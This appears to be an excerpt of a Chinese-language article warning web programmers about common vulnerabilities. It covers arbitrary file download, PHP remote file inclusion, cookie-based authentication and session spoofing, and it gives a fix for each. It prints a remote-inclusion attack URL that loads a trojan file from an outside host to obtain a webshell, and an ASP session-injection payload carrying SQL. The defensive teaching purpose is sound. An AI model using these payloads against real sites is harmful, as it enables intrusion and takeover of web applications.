Web网站程序编写中的安全软肋
一个纯静态的网页,不知道后台,也不知道FTP帐号密码等信息,但是它还是被人拿下了,这又是为什么呢?
由此我们可以看出,任意文件下载漏洞有多么可怕.所以对编写下载网站程序的程序员提出下面几点注意事项:
1. 下载文件路径保存进数据库,禁止外部提交
2. 假如入侵者已经得到后台权限,或者在前台允许自己提交资源连接(自己构造一个conn.asp的下载路径)依然可以下载指定文件,所以一定要对文件路径进行过滤
3. 对下载文件类型进行过滤,设置允许下载的格式
(10) 远程包含漏洞
这个漏洞够强悍,直接得到webshell,还好这个漏洞只存在于PHP中。我们来简单说明下漏洞形成原因:
| <?php include($include."/a.php"); ?> |
$include已经设置好路径,但是我们可以通过构造一个路径来达到攻击的目的.
比方说我们提交:
http://www.xxx.com/index.php?include=http://www.ccc.com/muma.txt?
就可以轻松获得一个webshell。解决办法是关闭全局变量。4.2版本以后都是默认关闭的,为了就是解决这个问题,所以也请广大服务器管理员注意跟新服务器上的第三方程序版本。
(11 )使用未加密的cookies进行用户权限等级及权限验证
有很多网站程序员图方便,和节约服务器资源,使用cookies来验证用户信息。导致入侵者可以通过修改本地cookies进行入侵。而session 对象虽然比较安全,但由于是保存在服务器上,30分钟不活动才会自动清理出内存,所以消耗资源非常大。相对折中的处理办法是:
对于前台用户使用加密的cookies 而后台用户则使用session 这样一来不但提高效率和减少资源消耗,还提高了安全性。因为后台用户数量少,而且使用session也可以降低Xss的成功率。
(12 )session对象欺骗
去年在论坛上看到的才知道有session欺骗这个说法,session欺骗的最低条件是必须拿下同服务器的一个其他站点,也就是我们说的旁注。
因为session是保存在服务器上的,所以必须将构造好的session欺骗用的文件上传到旁注到的站点里,才能对服务器里的session进行欺骗。下面就是一个session欺骗的实例:
这段代码将session写入了数据库
| <% dim rs set rs=Server.Createobject("Adodb.recordset") sql="select * from kevinadmin" rs.open sql,conn oldpass=rs("k_pass") rs.close sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'" 'response.write sql rs.open sql,conn if err then response.write "修改失败" else response.write "修改成功" end if %> |
我们可以通过构造进行session注入
| <% session("user")="Huanhuan'and 1=2 and '1'='1" %> |
| <% Session("UserID")="105" %> |
Session(“”)里面的内容根据不同程序使用的名称而定
看论坛里的人测试过,证明可行。
所以服务器的安全设置对于一个网站的安全性也是非常重要的。下一次笔者将为大家带来关于服务器安全漏洞分析和设置的相关文章,敬请期待!
- 本文关键词:

